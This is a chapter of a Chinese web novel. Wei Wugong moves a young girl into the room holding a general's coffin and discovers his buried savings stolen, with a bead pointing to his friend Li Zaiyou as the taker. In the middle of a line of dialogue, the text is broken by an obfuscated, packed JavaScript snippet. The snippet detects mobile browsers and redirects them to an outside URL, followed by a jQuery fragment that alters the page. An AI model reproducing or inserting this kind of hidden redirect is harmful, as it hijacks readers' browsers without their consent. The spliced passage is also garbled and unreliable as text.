35.李在宥的眼睛
作品:《西行》 魏无功星夜骑马去邹猎户家中时,看门口槐花落了一地。
距离李在宥回京已经过去快半年,期间杳无音讯。他本人也由一开始的期待,到后面失落,攒到现在,逐渐生出些怨愤。
他原以为,云昭阁就算是不管张定钧,至少是要管沈仓和小豆饼的。没想到他们一个也顾不上。
往事闪过脑海,他的眉头越皱越深:
张定钧死的时候正好是清明,易州下着小雨。自从发现赤焰军都是身体残缺之人之后,镇戍军对这张定钧,总体还是敬服的。沈仓支吾了很久,才把朝廷的意思说全给他听。
魏无功原以为张定钧听到消息会暴怒,没想到他居然很淡定地接受了,还开了个玩笑:
“我归宋之心天地可鉴、日月可表,把我的尸体带去蚕姑坨烧了,没准还有舍利呢。”
沈仓和魏无功交换了一个眼神,感觉这句话里大有文章,心下激动不已,想着总算是有光明正大的理由联系云昭阁了。魏无功连夜鼓动沈仓写信,大书特书张定钧留下的谜语,字里行间,小心翼翼暗示希望他们顺便也留意一下沈仓的处境。
没想到,信寄出去,从开春一直到盛夏,愣是没一点儿回头消息。
沈仓盼了几个月的邮差不得,逐渐认了命,一股兔死狐悲之感起来,现在见了魏无功躲着走。老哥为了不殃及他,军中大小军务,几乎不让他沾边。
只是今天,晚饭吃到一半,破例主动走过来跟他讲了句话,吩咐他去把小豆饼接回来。
原来,夏天邹叔没有皮毛生意做,边境的压力也越来越大,思来想去,决定拉上邹婶儿投奔磁州老丈人家里去暂避。他俩倒是想把小豆饼带走,认作干女儿,可是公主交代的事情悬而未决,他们不敢擅自做主,只好联系上军营。
对此,魏无功十分不爽。
想那沈仓真是个老实到死的人。他跟沈仓提了几次,想直接带着尸体去蚕姑坨烧了,奈何沈仓都不理他。都这样了,还守着云昭阁留下的烂摊子,指望有一天赵元贞带着某人来收。现在一个棺材烂在手上,又多了一个丫头子。
张定钧的头已经叫金人使者带走了,装躯壳的漆红的棺材就停在营房里,四角挂着铜铃。因为风俗隔得远,汉人看了那血色的棺材,觉得邪气深重,宁可绕道也不往那间房边上走。没想到,这个地理位置倒是方便了安置小豆饼,省得人多眼杂。
小豆饼胆子很大,对于要住棺材屋,居然没什么意见。魏无功带她住进来的时候,凑到棺材边上去闻了闻,还行,没味儿。就是不知道里面怎么样。
大夏天的,人肉要是烂完了,不知道还烧不烧得出舍利。他突然就想起了李在宥讲的“帝羓”的故事——早知道抹点儿盐了。
魏无功甩甩脑袋,把和云昭阁有关的记忆从脑子里清理出去。大人物的事情,轮得到他操心个屁。
大半夜把睡眼惺忪的小豆饼拎过来,好些细节没顾得上。魏无功本来有点担心小豆饼晚上撒尿被棺材吓到,第二天清晨才后知后觉想起那豆饼和张定钧不对付,依她那个脾气搞不好直接把棺材板儿掀了。
连忙起个大早去看她,结果发现她正靠着棺材念书,没事儿人似的。
“心真大啊……这是随谁呢?”魏无功嘟囔一句。
“方生方死,方死方生,又不是变成鬼了,有什么关系。”小豆饼正在看书,头也不抬地回了一句。
然而,这句魏无功听不懂。很郁闷,文化水平还赶不上八九岁。
他伸手摸了一下棺面,不知道为什么生出些亲近感。张定钧活着的时候跟他讲话有种说不来的别扭,死了反而没什么隔阂,伸手就摸得到。这口棺材是剩下的赤睛魔王们凑钱专门打的,上面有些辽地特有的纹饰,入殓的时候他没有凑过去看,据说是按照他生前的模样用璞玉专门做了一个人脸面具,代替他再也回不来的脑袋。
“诶豆饼,你怎么不生张将军的气了?” 魏无功忍不住问。
“刚开始的时候生气的,离了爹娘谁不生气,”小豆饼说:“后来转头一想,来你们汉家军营里看看,知道怎么个事儿,回去打你们,好像也行。”
“……”魏无功无言以对,此时魂穿东郭先生。于是弹了一下她脑袋,结果发现她睡了一觉,辫子有点散了。军营里没有女人,魏无功也不会梳头编辫儿,感觉按这个趋势下去,总有一天下豆饼会变成小叫花子。
“你要不干脆把头发剪了吧。” 他拎起一根辫子说。
小豆饼一甩头,翻了他一个白眼。
魏无功看着她手里那本书,已经被她翻烂了。邹叔家没有别的书,只有邹家小子们小时候几本启蒙的读物,这些对于能说出“孔子见子羽”的小豆饼来说都太低级了,只有一本《千字文》勉强能看。
魏无功看她无聊,一个人在那里翻着眼睛背诵“天地玄黄,宇宙洪荒”解闷儿,叹了口气,觉得多少有点对不起良心。
他掏了掏口袋,感觉这几个月军饷也攒了一些,是时候去团风村地窖里存一趟。回来路过市集,看看有没有什么话本零嘴儿卖,拿来哄哄小孩儿,怪可怜见的。
“你要看些什么书,哥哥去给你找。”
小豆饼抬眼看了他一眼,说:“说得跟你这土匪脑子记得住似的。”
“……”魏无功:“小孩儿玩意儿有什么记不住的。”
“那我要《中说》、《皇极经
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186638|195775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
世书》、《白虎通义》还有《周易参同契》,”小豆饼一挑眉毛:“也不都要,挑你听得明白的吧。”
“……什么破小孩儿,”魏无功愣了一下,感觉自己活该问。“找几个不带图片的书得了,”他心里想着,转头大踏步走了。
到了团风村外那棵老树附近,还没动锹,他就暗道不好:这一片有很明显的被人翻过的痕迹。
挖出了入口,他连忙跳下去,窖室果然空空如也,他的宝贝罐子叫人拿走了。
“啊啊啊啊啊啊啊啊啊啊啊啊啊!”魏无功一阵心里咆哮,感觉血液顺着脖子涌了上来。天杀的,居然动到贼祖宗头上来了,三年的老婆本儿啊!
他一边崩溃一边暴怒,在狭小的地洞里转了好几圈,试图冷静下来找到些蛛丝马迹。然而拢共这么点地方,既没有留下脚印,也没有留下特殊器具的挖痕,上哪儿看去呢。
“该死的,”魏无功低头咒骂了一句,胸口起伏着,脑袋有点发蒙。
过了几分钟,魏无功本来都准备算了,结果手摸到土墙边缘,正要翻身上去的时候,脑子里突然灵光一闪。
他重新蹲了回去,用手沿着地面细细摩挲。
终于,在窖子的东南角,他摸到一个圆溜溜的小石子儿,手感光滑,和其他砂砾不一样。
他捡起来,拿到窖子口边上对着光瞧,竟然是一颗小小的羊眼板珠,正是他从大墓里摸出来给李在宥的那个。
“……额日古昆!”
果然是这小子!
魏无功松了口气。
李在宥是“大户人家的小姐”,自然看不上他这些鸡零狗碎,大概率是跟他开玩笑。他无奈摇摇头,把小东西揣进兜里。
不过——留个羊眼板珠子是什么意思呢?
返程的路上,魏无功忍不住一直琢磨:
到底是闲得蛋疼的江洋大盗留下自己的嚣张签名,还是说……
他李在宥在百忙之中,还留了个眼睛,看着这边的动静?
……
回到营房,他把几个全是字儿的杂书往小豆饼脑袋上一扔,遭到了她强烈的嫌弃。
“滥竽充数!”小豆饼说。不过她向来跟吃的没愁,拿着剩下的糖枣儿蹲角落啃去了。
魏无功跟她玩了一会儿出来,路过沈仓的房间。沈仓自不在内,想来是在议事厅忙,只是具体在忙什么他就不得而知了。
沈仓的房间陈设非常简素,军饷也是直接寄回家里去,自己这里身无长物,只留一封未写完的家书,提了几次笔,依旧没有写成。
四下无人,魏无功想了一会儿,悄无声息走进去,将兜里的羊眼板珠掏出来,轻轻搁在了他的桌子角上。

